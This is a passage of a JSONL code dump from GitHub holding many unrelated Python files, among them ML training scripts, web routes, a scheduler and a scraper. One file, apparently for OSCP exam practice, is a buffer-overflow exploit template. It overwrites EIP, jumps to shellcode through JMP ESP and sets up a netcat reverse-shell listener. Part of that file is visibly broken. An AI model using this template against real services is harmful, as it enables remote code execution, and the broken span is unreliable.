build_dict(filepath)\n sorted_dict = sorted(word_freq.items(), key=lambda w: w[-1], reverse=True)\n for word, freq in sorted_dict[:20]:\n print(word + ' ' + str(freq))\n\n# This basic command line argument parsing code is provided and calls the\n# print_words() and print_top() functions which you must define.\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print('usage: ./wordcount.py {--count|--topcount} file')\n sys.exit(1)\n\n OPTION = sys.argv[1]\n FILEPATH = sys.argv[2]\n if OPTION == '--count':\n print_words(FILEPATH)\n elif OPTION == '--topcount':\n print_top(FILEPATH)\n else:\n print('unknown option: ' + OPTION)\n sys.exit(1)\n","repo_name":"hamstache/PythonScripts","sub_path":"word_count.py","file_name":"word_count.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25142150338","text":"from __future__ import absolute_import\nfrom collections import defaultdict\nimport numpy as np\nimport torch\n\nclass RandomIdentitySampler(torch.utils.data.Sampler):\n# class RandomIdentitySampler(torch.utils.data.sampler.Sampler):\n \"\"\"\n Randomly sample N identities, then for each identity,\n randomly sample K instances, therefore batch size is N*K.\n\n Code imported from https://github.com/Cysu/open-reid/blob/master/reid/utils/data/sampler.py.\n\n Args:\n data_source (Dataset): dataset to sample from.\n num_instances (int): number of instances per identity.\n \"\"\"\n def __init__(self, data_source, num_instances=4):\n self.data_source = data_source\n self.num_instances = num_instances\n self.index_dic = defaultdict(list)\n for index, (_, pid, _) in enumerate(data_source):\n self.index_dic[pid].append(index)\n self.pids = list(self.index_dic.keys())\n self.num_identities = len(self.pids)\n\n def __iter__(self):\n indices = torch.randperm(self.num_identities)\n ret = []\n for i in indices:\n pid = self.pids[i]\n t = self.index_dic[pid]\n replace = False if len(t) >= self.num_instances else True\n t = np.random.choice(t, size=self.num_instances, replace=replace)\n ret.extend(t)\n return iter(ret)\n\n def __len__(self):\n return self.num_identities * self.num_instances\n","repo_name":"mangye16/ReID-Survey","sub_path":"video-reid-AWG/samplers.py","file_name":"samplers.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":577,"dataset":"github-code","pt":"32"} +{"seq_id":"27212417289","text":"# coding: utf-8\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'),\n # ex: /polls/5/results/\n url(r'^(?P[0-9]+)/results/$', views.ResultsView.as_view(), name='results'),\n # ex: /polls/5/vote/\n url(r'^(?P[0-9]+)/vote/$', views.vote, name='vote'),\n]\n#url()中第一项是域名的匹配,尖括号中是views带来的信息, 第二项是与调用view参数,第三项是name,其他模板通过命名来引用URL\n#让主URLconf可以链接到polls.urls模块。在mysite/urls.py中插入一个include():","repo_name":"forgoodsj/mysite","sub_path":"polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18867077046","text":"\"\"\"A script to train vectors and biases for users and movies.\"\"\"\n\nimport argparse\nfrom collections import namedtuple\nfrom bisect import bisect_left\nimport csv\nimport logging\nimport os\nimport pickle\nimport random\n\nimport numpy as np\nfrom tqdm import tqdm\n\n\n# arguments\n# ---------\n\nparser = argparse.ArgumentParser(description=__doc__)\nparser.add_argument(\n '-d', '--dim', type=int, default=20, help='dimensionality of learnt vectors')\nparser.add_argument(\n '-e', '--epochs', type=float, default=1.0, help='training epochs (a fraction is also allowed)')\nparser.add_argument(\n '-s', '--test-split', type=float, default=0.25, help='fraction of instances in test split')\nparser.add_argument(\n '--track-loss', type=int, default=None, help='track stochastic loss after every given number of iterations')\nparser.add_argument(\n '--eta-bu', type=float, default=0.1, help='learning rate for user biases')\nparser.add_argument(\n '--eta-bm', type=float, default=0.1, help='learning rate for movie biases')\nparser.add_argument(\n '--eta-vu', type=float, default=0.1, help='learning rate for user vectors')\nparser.add_argument(\n '--eta-vm', type=float, default=0.1, help='learning rate for movie vectors')\nparser.add_argument(\n '--lambda-bu', type=float, default=0.01, help='regularization penalty for user biases')\nparser.add_argument(\n '--lambda-bm', type=float, default=0.01, help='regularization penalty for movie biases')\nparser.add_argument(\n '--lambda-vu', type=float, default=0.01, help='regularization penalty for user vectors')\nparser.add_argument(\n '--lambda-vm', type=float, default=0.01, help='regularization penalty for movie vectors')\nargs = parser.parse_args()\n\nif args.track_loss is not None:\n logging.basicConfig(filename='train.log', filemode='w', level=logging.INFO)\n\n\n# rating data\n# -----------\n\nRating = namedtuple('Rating', ['user', 'movie', 'value'])\n\ntrain_data, test_data = [], []\ns = 1\n\nprint('Loading rating data ... ')\nrating_dir = 'dataset'\n\nfiles = os.listdir(rating_dir)\nfiles_with_progress_bar = tqdm(files, desc='files')\n\nfor filename in files_with_progress_bar:\n\n movie = filename\n movie = movie[:movie.index('.txt')] # remove the .txt extension\n\n with open(os.path.join(rating_dir, filename), 'r') as f:\n reader = csv.reader(f)\n\n for row in reader:\n user, value = row[0], int(row[1])\n rating = Rating(user, movie, value)\n \n # random seed for reproducibility\n # a different random seed for each sample so that the outcome\n # is different (but still reproducible) each time\n random.seed(20 * s)\n s += 1\n\n if random.random() <= args.test_split:\n test_data.append(rating)\n else:\n train_data.append(rating)\n\n\nprint('{} total.'.format(len(train_data) + len(test_data)))\nprint(\n 'Split into training data with {} ratings and test data with {} ratings.'.format(len(train_data), len(test_data)))\n\nmovie_names = sorted(set(r.movie for r in train_data + test_data))\nuser_ids = sorted(set(r.user for r in train_data + test_data))\nM, U = len(movie_names), len(user_ids)\n\n\n# training\n# --------\n\nmu = np.mean([r.value for r in train_data])\nuser_biases, movie_biases = np.zeros((U,)), np.zeros((M,))\n\nnp.random.seed(10)\nuser_vecs = np.random.randn(U, args.dim) * 0.01\n\nnp.random.seed(20)\nmovie_vecs = np.random.randn(M, args.dim) * 0.01\n\nepoch = 0\ntrain, calc_train_rmse, calc_test_rmse = True, False, False\n\ns = 1\n\n# adagrad memory matrices\nmem_user_biases = np.zeros_like(user_biases)\nmem_movie_biases = np.zeros_like(movie_biases)\nmem_user_vecs = np.zeros_like(user_vecs)\nmem_movie_vecs = np.zeros_like(movie_vecs)\n\nprint('Performing stochastic gradient descent (with adagrad update) ...')\n\nwhile True:\n\n if train:\n # parameters are being trained\n data = train_data\n\n if epoch == args.epochs:\n # training is done, move to calculating training RMSE\n calc_train_rmse = True\n train = False\n rmse = 0.0\n\n if args.track_loss is not None:\n print('Loss logged to train.log.')\n\n print('Calculating training RMSE ...')\n\n elif args.epochs - epoch < 1.0:\n # less than one epoch of training left\n iters = int((args.epochs - epoch) * len(data))\n data = data[:iters]\n epoch = args.epochs\n\n else:\n # one more epoch of training\n epoch += 1\n\n # random seed for reproducibility\n # a different random seed for each epoch so that the shuffling\n # is different (but still reproducible) each time\n random.seed(10 * s)\n s += 1\n\n random.shuffle(data)\n\n\n elif calc_train_rmse:\n # training RMSE has been calculated\n # rather training SSE has been calculated, convert it to RMSE\n train_rmse = np.sqrt(rmse / len(train_data))\n print(f'Training RMSE: {train_rmse:.6f}')\n\n # move to calculating test RMSE\n data = test_data\n calc_test_rmse = True\n calc_train_rmse = False\n rmse = 0.0\n print('Calculating test RMSE ...')\n\n elif calc_test_rmse:\n # test RMSE - rather SSE - has been calculated, convert it to RMSE\n test_rmse = np.sqrt(rmse / len(test_data))\n print(f'Test RMSE: {test_rmse:.6f}')\n break\n\n\n data_with_progress_bar = tqdm(\n enumerate(data),\n desc='iterations', total=len(data)\n )\n\n for idx, rating in data_with_progress_bar:\n\n # bisect_left performs binary search, which is much, much faster than\n # calling .index() on a list and performing linear search.\n u = bisect_left(user_ids, rating.user)\n m = bisect_left(movie_names, rating.movie)\n\n true = rating.value # true rating value\n\n # predicted rating value\n pred = (mu + user_biases[u] + movie_biases[m]\n + np.dot(user_vecs[u], movie_vecs[m]))\n\n loss = (true - pred) ** 2\n\n if calc_train_rmse or calc_test_rmse:\n rmse += loss\n continue\n\n # calculated gradients\n grad_user_bias = (pred - true) + (args.lambda_bu * user_biases[u])\n grad_movie_bias = (pred - true) + (args.lambda_bm * movie_biases[m])\n grad_user_vec = (pred - true) * movie_vecs[m] + (args.lambda_vu * user_vecs[u])\n grad_movie_vec = (pred - true) * user_vecs[u] + (args.lambda_vm * movie_vecs[m])\n\n # update memory matrices\n mem_user_biases[u] += grad_user_bias ** 2\n mem_movie_biases[m] += grad_movie_bias ** 2\n mem_user_vecs[u] += grad_user_vec ** 2\n mem_movie_vecs[m] += grad_movie_vec ** 2\n\n # adagrad updates\n user_biases[u] -= args.eta_bu / np.sqrt(mem_user_biases[u] + 1e-8) * grad_user_bias\n movie_biases[m] -= args.eta_bm / np.sqrt(mem_movie_biases[m] + 1e-8) * grad_movie_bias\n user_vecs[u] -= args.eta_vu / np.sqrt(mem_user_vecs[u] + 1e-8) * grad_user_vec\n movie_vecs[m] -= args.eta_vm / np.sqrt(mem_movie_vecs[m] + 1e-8) * grad_movie_vec\n\n if args.track_loss is not None:\n if (idx + 1) % args.track_loss == 0:\n logging.info(f'epoch {epoch} iteration {idx + 1}: loss {loss:.6f}')\n\n\n# save parameters\n# ---------------\n\nwith open('params.pkl', 'wb') as f:\n pickle.dump(\n {\n 'mu': mu,\n 'user_biases': user_biases,\n 'movie_biases': movie_biases,\n 'user_vecs': user_vecs,\n 'movie_vecs': movie_vecs,\n 'user_ids': user_ids,\n 'movie_names': movie_names\n }, f)\n\nprint('Trained parameters saved to params.pkl')\n","repo_name":"codeandfire/movievecs","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31346764277","text":"#!/usr/bin/env python3\nfrom struct import pack\nimport shlex\nfrom time import sleep\nfrom subprocess import check_output\nimport socket\nimport argparse\n\n\nVICTIM_IP = \"10.10.10.10\"\nVICTIM_PORT = 1337\n\nLHOST = \"10.0.0.1\"\nLPORT = 443\n\nEIP_OFFSET = 0\nBAD_BYTES = b\"\\x00\"\nJMP_ESP = 0x0\n\n\ndef main():\n # This script is used in stages. Uncomment each function in turn, adjusting\n # global constants at top of file as necessary.\n # To make mona easier to work with, set a custom working folder:\n # !mona config -set workingfolder c:\\mona\\%p\n\n cause_crash()\n\n # find_offset(2048)\n\n # confirm_offset()\n\n # find_bad_bytes()\n\n # do_exploit()\n\n print(\"[+] DONE!\")\n\n\ndef send_payload(payload):\n \"\"\"\n This is the core function to send your payloads.\n\n Change it for any new binary so that it properly interacts with the target\n network service.\n \"\"\"\n addr = (VICTIM_IP, VICTIM_PORT)\n timeout = 2 # seconds\n prefix = b\"START \"\n suffix = b\"\\r\\n\"\n payload = prefix + payload + suffix\n\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.settimeout(timeout)\n s.connect(addr)\n s.recv(2048) # recieve intro banner\n s.recv(2048) # recieve prompt\n print(f\"[*] Sending {len(payload)} bytes to {VICTIM_IP}:{VICTIM_PORT}\")\n s.send(payload) # try to recieve response\n s.recv(2048)\n\n\ndef p32(val):\n \"\"\"Pack a little endian 32-bit integer\"\"\"\n return pack(\"\\bytearray.bin -a
    \n # Not all of these might be badchars! Sometimes badchars cause the next\n # byte to get corrupted as well, or even effect the rest of the string.\n # The first badchar in the list should be the null byte (\\x00) since we\n # already removed it from the file. Make a note of any others. Generate a\n # new bytearray in mona, specifying these new badchars along with \\x00.\n # Repeat the badchar comparison until the results status returns\n # \"Unmodified\". This indicates that no more badchars exist.\n test_connection()\n allowed = gen_bytes(bad_bytes=BAD_BYTES)\n padding = b\"A\" * EIP_OFFSET\n payload = padding\n payload += b\"BBBB\"\n payload += allowed\n try:\n send_payload(payload)\n except socket.timeout:\n print(\"[*] Now use these commands and check for 'Unmodified' status:\")\n print(f'!mona bytearray -b \"{hexbytes(BAD_BYTES)}\"')\n print(\"!mona compare -f C:\\\\mona\\\\bytearray.bin -a ESP_ADDR\")\n else:\n print(\"[x] Connection didn't hang. Check your send_payload() function\")\n exit(1)\n\n\ndef get_shellcode():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-f\",\n \"--file\",\n type=argparse.FileType(\"rb\"),\n help=\"Path to binary file containing raw shellcode bytes\",\n )\n args = parser.parse_args()\n if args.file is not None:\n shellcode = args.file.read()\n args.file.close()\n else:\n shellcode = gen_shellcode(bad_bytes=BAD_BYTES)\n return shellcode\n\n\ndef do_exploit():\n # to find jmp_esp, use the following mona command: (-cpb avoids bad ptr bytes)\n # !mona jmp -r esp -cpb '\\x00...'\n # or look for specific instruction:\n # !mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb \"\\x00\\x0a\\x0d\"\n test_connection()\n if not JMP_ESP:\n print(\"[*] Use the following to get a jmp-esp gadget:\")\n print(f\"!mona jmp -r esp -cpb '{hexbytes(BAD_BYTES)}'\")\n print(\"[*] AND START YOUR NETCAT LISTENER!\")\n print(f\"sudo nc -lvnp {LPORT}\")\n exit(1)\n\n padding = b\"A\" * EIP_OFFSET\n nopsled = b\"\\x90\" * 32 # to handle encoders\n shellcode = get_shellcode()\n\n payload = padding\n payload += p32(JMP_ESP)\n payload += nopsled\n payload += shellcode\n print(\"[*] Sending exploit payload. Hopefully you have a listener ready!\")\n try:\n send_payload(payload)\n except socket.timeout:\n pass\n else:\n print(\"[x] Connection didn't hang. Check your send_payload() function\")\n exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"camercu/oscp-prep","sub_path":"tools/win/pwn-bof-template.py","file_name":"pwn-bof-template.py","file_ext":"py","file_size_in_byte":7963,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"32"} +{"seq_id":"69980675292","text":"from .conditional import ConditionalBlock, ConditionalTCNBlock\nfrom .dcrnn import DCRNNCell, DCRNN\nfrom .dense_dcrnn import DenseDCRNNCell, DenseDCRNN\nfrom .gcgru import GraphConvGRUCell, GraphConvGRU\nfrom .gclstm import GraphConvLSTMCell, GraphConvLSTM\nfrom .mlp import MLP, ResidualMLP\nfrom .rnn import RNN\nfrom .stcn import SpatioTemporalConvNet\nfrom .tcn import TemporalConvNet\nfrom .transformer import (TransformerLayer, SpatioTemporalTransformerLayer,\n Transformer)\n\ngeneral_classes = [\n 'ConditionalBlock',\n 'ConditionalTCNBlock',\n 'MLP',\n 'ResidualMLP',\n 'RNN',\n]\n\ncell_classes = [\n 'DCRNNCell',\n 'DenseDCRNNCell',\n 'GraphConvGRUCell',\n 'GraphConvLSTMCell'\n]\n\ngrnn_classes = [\n 'DCRNN',\n 'DenseDCRNN',\n 'GraphConvGRU',\n 'GraphConvLSTM'\n]\n\nconv_classes = [\n 'TemporalConvNet',\n 'SpatioTemporalConvNet'\n]\n\ntransformer_classes = [\n 'TransformerLayer',\n 'SpatioTemporalTransformerLayer',\n 'Transformer'\n]\n\nclasses = [\n *general_classes,\n *cell_classes,\n *grnn_classes,\n *conv_classes,\n *transformer_classes\n]\n\n__all__ = classes\n","repo_name":"Graph-Machine-Learning-Group/sgp","sub_path":"tsl/nn/blocks/encoders/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"32"} +{"seq_id":"72554343772","text":"#!/usr/bin/python3\nfrom __future__ import print_function, absolute_import\nfrom threading import Thread, Event\nfrom datetime import datetime, timedelta\n\nlistenPort = 9993\n\ndef singleton(cls):\n\tinstances = {}\n\tdef getinstance():\n\t\tif cls not in instances:\n\t\t\tinstances[cls] = cls()\n\t\treturn instances[cls]\n\treturn getinstance\n\nclass eventInfo(object):\n\tdef __init__(self, reached=False, new_delta=0, skew=0):\n\t\tself.reached = reached\n\t\tself.delta = new_delta\n\t\tself.skew = skew\n\nclass event(object):\n\tevent_dispatcher = 'scheduler'\n\tdef __init__(self, _time=None, t='', args=None, _id=0):\n\t\tself.time = _time\n\t\tself.cur = datetime.now()\n\t\tself.dtime = self.cur\n\t\tself.last = None\n\t\tself.id = _id\n\t\tself.args = args\n\t\tself.type = t\n\t\tself.active = True\n\t\tself.recalc = self.__getattribute__(t)\n\n\tdef __str__(self):\n\t\treturn \"\" % (str(self.time), self.op)\n\n\tdef every(self, new):\n\t\tif new >= self.dtime:\n\t\t\told = self.dtime\n\t\t\tself.dtime = self.cur\n\t\t\twhile self.dtime < new:\n\t\t\t\tself.dtime += self.time\n\t\t\tself.last = datetime.now()\n\t\t\treturn eventInfo(True, self.dtime - new, old - new)\n\t\telse:\n\t\t\treturn eventInfo(False, self.dtime - new)\n\n\tdef daily(self, new):\n\t\tif new > self.time:\n\t\t\told = self.time\n\t\t\tself.time += timedelta(days=1)\n\t\t\tself.last = datetime.now()\n\t\t\treturn eventInfo(True, self.time - new, old - new)\n\t\telse:\n\t\t\treturn eventInfo(False, self.time - new)\n\n\tdef reg_daily(self, new):\n\t\tif new > self.time:\n\t\t\told = self.time\n\t\t\tif new.isoweekday() < 5:\n\t\t\t\tself.time += timedelta(days=1)\n\t\t\telse:\n\t\t\t\tself.time += timedelta(days=8-new.isoweekday())\n\t\t\tself.last = datetime.now()\n\t\t\treturn eventInfo(True, self.time - new, old - new)\n\t\telse:\n\t\t\treturn eventInfo(False, self.time - new)\n\n@singleton\nclass eventScheduler(Thread):\n\tdef __init__(self):\n\t\tThread.__init__(self)\n\t\tself.wait_event = Event()\n\t\tself.event_list = []\n\t\tself.event_id = 0\n\t\tself.listeners = []\n\t\tself.daemon = True\n\t\tself.start()\n\n\tdef wake(self):\n\t\tself.wait_event.set()\n\n\tdef listen(self, cb):\n\t\tself.listeners.append(cb)\n\n\tdef unlisten(self, cb):\n\t\tself.listeners.remove(cb)\n\n\tdef activeEvents(self):\n\t\tactive = 0\n\t\tfor ev in self.event_list:\n\t\t\tif ev.active: active+=1\n\t\treturn active\n\n\tdef run(self):\n\t\twhile True:\n\t\t\tnext = self.handleEvents()\n\t\t\tif next != None:\n\t\t\t\tnext = next.total_seconds()\n\t\t\t\tprint('[SCHEDULER] %d event(s) queued, next wake-up: %fs' % (self.activeEvents(), next))\n\t\t\telse:\n\t\t\t\tprint('[SCHEDULER] No events queued, waiting for condition.')\n\t\t\tself.wait_event.wait(next)\n\t\t\tself.wait_event.clear()\n\n\tdef disableEvent(self, ev):\n\t\tev.active = False\n\t\tself.wake()\n\n\tdef enableEvent(self, ev):\n\t\tev.active = True\n\t\tself.wake()\n\n\tdef clearEvent(self, ev):\n\t\tself.event_list.remove(ev)\n\t\tself.wake()\n\n\tdef createEvent(self, event):\n\t\tself.event_list.append(event)\n\t\tself.wake()\n\t\tself.event_id += 1\n\t\tevent.id = self.event_id\n\t\treturn event\n\n\tdef handleEvents(self):\n\t\tcur = datetime.now()\n\t\tnext = None\n\t\tx = self.event_list\n\t\tfor ev in x:\n\t\t\tif not ev.active:\n\t\t\t\tcontinue\n\n\t\t\tt = ev.recalc(cur)\n\t\t\tif t.reached:\n\t\t\t\tprint('[SCHEDULER] Raising event %d, %fs overdue' % (ev.id, abs(t.skew.total_seconds())))\n\t\t\t\tfor i in self.listeners:\n\t\t\t\t\ti(ev)\n\n\t\t\tif t.delta == 0:\n\t\t\t\tself.event_list.remove(ev)\n\t\t\telif next == None or t.delta < next:\n\t\t\t\tnext = t.delta\n\t\treturn next\n","repo_name":"kennylevinsen/autohome","sub_path":"scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33956414074","text":"\nfrom app.forms.department_form import DepartmentForm\nfrom app.forms.ticket_form import TicketForm\nfrom flask import Blueprint, jsonify, request\nfrom flask_login import login_required, current_user\nfrom app.models.department import Department\nfrom app.models.ticket import Ticket\nfrom .auth_routes import validation_errors_to_error_messages\nfrom app.models import db\n\n\ndepartment_routes = Blueprint('departments', __name__)\n\n\n# get all departments\n@department_routes.route('/', methods=['GET'])\n@login_required\ndef get_departments():\n all_departments = Department.query.order_by(Department.name.asc()).all()\n departments = []\n if (all_departments):\n for i in range(len(all_departments)):\n departments.append(all_departments[i].to_dict())\n for dept in departments:\n dept_tickets = []\n tickets = Ticket.query.filter_by(\n department_id=dept['id']).join(Department).all()\n for ticket in tickets:\n dept_tickets.append(ticket.to_dict())\n dept['tickets'] = dept_tickets\n return {'departments': departments}\n# edit department route\n\n\n@ department_routes.route('//edit', methods=['PUT'])\n@ login_required\ndef edit_department(id):\n department = Department.query.get(id)\n dept_tickets = Ticket.query.filter_by(\n department_id=id).join(Department).all()\n tickets = []\n if dept_tickets:\n for i in range(len(dept_tickets)):\n tickets.append(dept_tickets[i].to_dict())\n form = DepartmentForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n department.name = form.name.data.capitalize()\n db.session.commit()\n dict_dept = department.to_dict()\n dict_dept['tickets'] = tickets\n return dict_dept\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n# get one department route\n\n\n@ department_routes.route('/', methods=['GET'])\n@ login_required\ndef get_one_department(id):\n dept = Department.query.get(id)\n dict_dept = dept.to_dict()\n dept_tickets = Ticket.query.filter_by(\n department_id=id).join(Department).all()\n tickets = []\n if dept_tickets:\n for i in range(len(dept_tickets)):\n tickets.append(dept_tickets[i].to_dict())\n dict_dept['tickets'] = tickets\n return dict_dept\n\n# delete department\n\n\n@ department_routes.route('//delete', methods=['DELETE'])\n@ login_required\ndef deleteDepartment(departmentId):\n dept = Department.query.filter_by(\n id=departmentId).first()\n\n db.session.delete(dept)\n db.session.commit()\n return dept.to_dict()\n\n# create department\n\n\n@ department_routes.route('/', methods=['POST'])\n@ login_required\ndef newDepartment():\n form = DepartmentForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n dept = Department(\n name=form.name.data.capitalize(),\n )\n db.session.add(dept)\n db.session.commit()\n return dept.to_dict()\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n\n# GET tickets of a department\n@ department_routes.route('//tickets')\n@ login_required\ndef getTicket(departmentId):\n allTickets = Ticket.query.order_by(Ticket.id.asc()).filter_by(\n department_id=departmentId).join(Department).all()\n tickets = []\n if(allTickets):\n for i in range(len(allTickets)):\n tickets.append(allTickets[i].to_dict())\n return {'tickets': tickets}\n\n\n# ADD A TICKET TO A Department\n@ department_routes.route('//user//tickets', methods=['POST'])\n@ login_required\ndef newTicket(departmentId, userId):\n form = TicketForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n if form.validate_on_submit():\n ticket = Ticket(\n item_name=form.item_name.data.capitalize(),\n location=form.location.data,\n description=form.description.data.capitalize(),\n department_id=departmentId,\n owner_id=userId)\n db.session.add(ticket)\n db.session.commit()\n return ticket.to_dict()\n return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n","repo_name":"DylanWelzel/Kostko-Connect","sub_path":"app/api/departments.py","file_name":"departments.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"24428404384","text":"import numpy as np\r\na=[]\r\nz=100000\r\nfor i in range(90000,z-1):\r\n \r\n for j in range (i+1,z):\r\n i2=i*i\r\n j2=j*j\r\n n1= pow((i2+j2), 0.5)\r\n if n1%1==0:\r\n a.append(i2)\r\n a.append(j2)\r\n print(i)\r\na=np.array(a) \r\nnp.save(r'C:\\Users\\1\\Desktop\\example_1.npy', a)\r\nb=[]\r\nfor i in range(1,2*z):\r\n b.append(i*i)\r\nnp.save(r'C:\\Users\\1\\Desktop\\example_2.npy', b)\r\n","repo_name":"orby-tech/-","sub_path":"create_i*i_of numbers.py","file_name":"create_i*i_of numbers.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35491551345","text":"# coding=utf-8\n\nimport sys\nimport datetime\nimport os\nimport shutil\n\n\ndef copy_so():\n src = so_copy_path + \"\\\\\" + project_name + \".so\"\n dst = so_release_path + \"\\\\\" + baseline + \"\\\\\" + product_name + \".so\"\n if not os.path.exists(src):\n print(\"未上传so文件,请上传so文件\")\n return 1\n shutil.copy(src, dst)\n return 0\n\n\nif __name__ == '__main__':\n product_name = sys.argv[1]\n project_name = sys.argv[2]\n\n so_copy_path = \"D:\\\\D:\\SO_RELEASE\"\n so_release_path = \"\\\\\\\\10.250.115.51\\\\APK_Release_Version\\\\03-product\\\\{0}\\\\{1}\".format(product_name, project_name)\n\n baseline = datetime.datetime.now().strftime(\"%Y.%m.%d_%H.%M\")\n\n exit_code = copy_so()\n\n if exit_code == 1:\n print(\"so发布失败!!!\")\n sys.exit(1)\n\n print(\"SO发布成功,发布地址为:{0}\".format(so_release_path + \"\\\\\" + baseline))\n\n\n\n","repo_name":"AndrewChan1988/PythonScriptForWork","sub_path":"ApkAutoIntegration/so_release.py","file_name":"so_release.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39381608846","text":"# _*_ coding:utf-8 _*_\n#GVIM 添加汉字注释\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nimport scrapy\nfrom ..items import TestScrapyItem\n\nclass test1Spider(scrapy.Spider):\n name ='test_scrapy' #新建爬虫\n start_urls=['http://bj.ganji.com/fang1/chanyang/'] #定义初始连接\n\n def parse(self,response):\n test=TestScrapyItem()\n title_list=response.xpath(\".//div[@class='f-list-item ']/dl/dd[1]/a/text()\").extract()\n money_list=response.xpath(\".//div[@class='f-list-item ']/dl/dd[5]/div[1]/span[1]/text()\").extract()\n for i in range(0,len(title_list)):\n test['title']=title_list[i]\n test['money']=money_list[i]\n yield test\n\n","repo_name":"peterbanban/RentalInformation","sub_path":"test_scrapy/spiders/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42226299899","text":"import unittest\n\nfrom bandit import *\n\n\nclass TestMultiarmBandits(unittest.TestCase):\n \"\"\"\n A class for testing multiarm bandit\n \"\"\"\n\n def test_single_bandit(self) -> None:\n \"\"\"\n Testing a single bandit.\n \"\"\"\n test_mean = 1.0\n test_span = 3.0\n test_len = 1000\n\n test_bandit = Bandit(test_mean, test_span)\n test_rewards = [test_bandit.pull_leaver() for _ in range(test_len)]\n\n plt.plot(test_rewards, label='rewards')\n plt.plot((test_mean + test_span) * np.ones(test_len),\n linestyle='--', color='red')\n plt.plot((test_mean - test_span) * np.ones(test_len),\n linestyle='--', color='red')\n\n plt.show()\n\n def test_environment(self) -> None:\n \"\"\"\n Testing bandits' environment. \n \"\"\"\n test_env_size = 5\n test_bandits = [Bandit(i ** 2, i) for i in range(test_env_size)]\n test_env = BanditsEnvironment(test_bandits)\n test_len = 1000\n\n selected_bandit = 4\n test_rewards = [test_env.take_action(\n selected_bandit) for _ in range(test_len)]\n\n plt.plot(test_rewards, label='rewards')\n plt.plot((selected_bandit ** 2 + selected_bandit) *\n np.ones(test_len), linestyle='--', color='r')\n plt.plot((selected_bandit ** 2 - selected_bandit) *\n np.ones(test_len), linestyle='--', color='r')\n\n plt.show()\n\n test_rewards = [test_env.take_action(\n random.randint(0, 4)) for _ in range(test_len)]\n test_mean = sum(test_rewards) / test_len\n\n print(\"TEST MEAN = \", test_mean)\n\n def test_decision_policies(self) -> None:\n \"\"\"\n Testing decision policies.\n \"\"\"\n test_q = [1, 2, 3, 2, 1]\n test_len = 1000\n\n plt.subplot(3, 1, 1)\n plt.plot([GreedyPolicy.action(q=test_q) for _ in range(test_len)])\n plt.subplot(3, 1, 2)\n plt.plot([RandomPolicy.action(q=test_q) for _ in range(test_len)])\n plt.subplot(3, 1, 3)\n plt.plot([EpsGreedyPolicy.action(q=test_q, eps=0.1)\n for _ in range(test_len)])\n\n plt.show()\n\n def test_system(self) -> None:\n\n BANDITS_NO = 5\n ATTEMPTS_NO = 10000\n\n bandits = [Bandit(10 * (random.random() - 0.5), 5 *\n random.random()) for _ in range(BANDITS_NO)]\n sys = System(bandits)\n\n # *** 1. zadatak ***\n # Razlog manjeg nagiba jeste što smanjivanjem epsilon vrijednosti smanjujemo eksploraciju i držimo se\n # eksploatacije, te u tom slučaju kriva će biti bliža \"optimalnoj\".\n # Prikazujemo i grafik konvergencije, koji pokazuje suštinu epsilon greedy politike.\n\n print('*** 1. zadatak ***')\n\n test_eps = [0.7, 0.4, 0.1, 0.01]\n\n for eps in test_eps:\n q, q_evol, old_bandit_mean = sys.run_system(\n eps=eps, ATTEMPTS_NO=ATTEMPTS_NO)\n plotter = ConvergencePlot(\n q_evol=q_evol, eps=0.1, ATTEMPTS_NO=ATTEMPTS_NO)\n plotter.plot(env=sys.env)\n\n # *** 2. zadatak ***\n # Naučeno Q vs epsilon = 0.\n\n print('*** 2. zadatak ***')\n\n test_eps = [0.1, 0.0]\n\n for eps in test_eps:\n q, q_evol, old_bandit_mean = sys.run_system(\n eps=eps, ATTEMPTS_NO=ATTEMPTS_NO)\n\n # *** 3. zadatak ***\n # Šta ako su karakteristike bandita promjenljive u vremenu?\n # Definišimo zakon promjene srednjih vrijednosti (može biti stohastičke ili determinističke prirode).\n # U tom slučaju ima smisla davati veću težinu trenutnim nagradama\n # kako bi se pokušala pronaći trenutno optimalna akcija.\n # Stoga se zadaje težinski faktor ALPHA,\n # koji je već implementiran i u nestacionarnom slučaju.\n # Takođe je potrebno izmijeniti implementaciju klase BanditEnvironment\n # 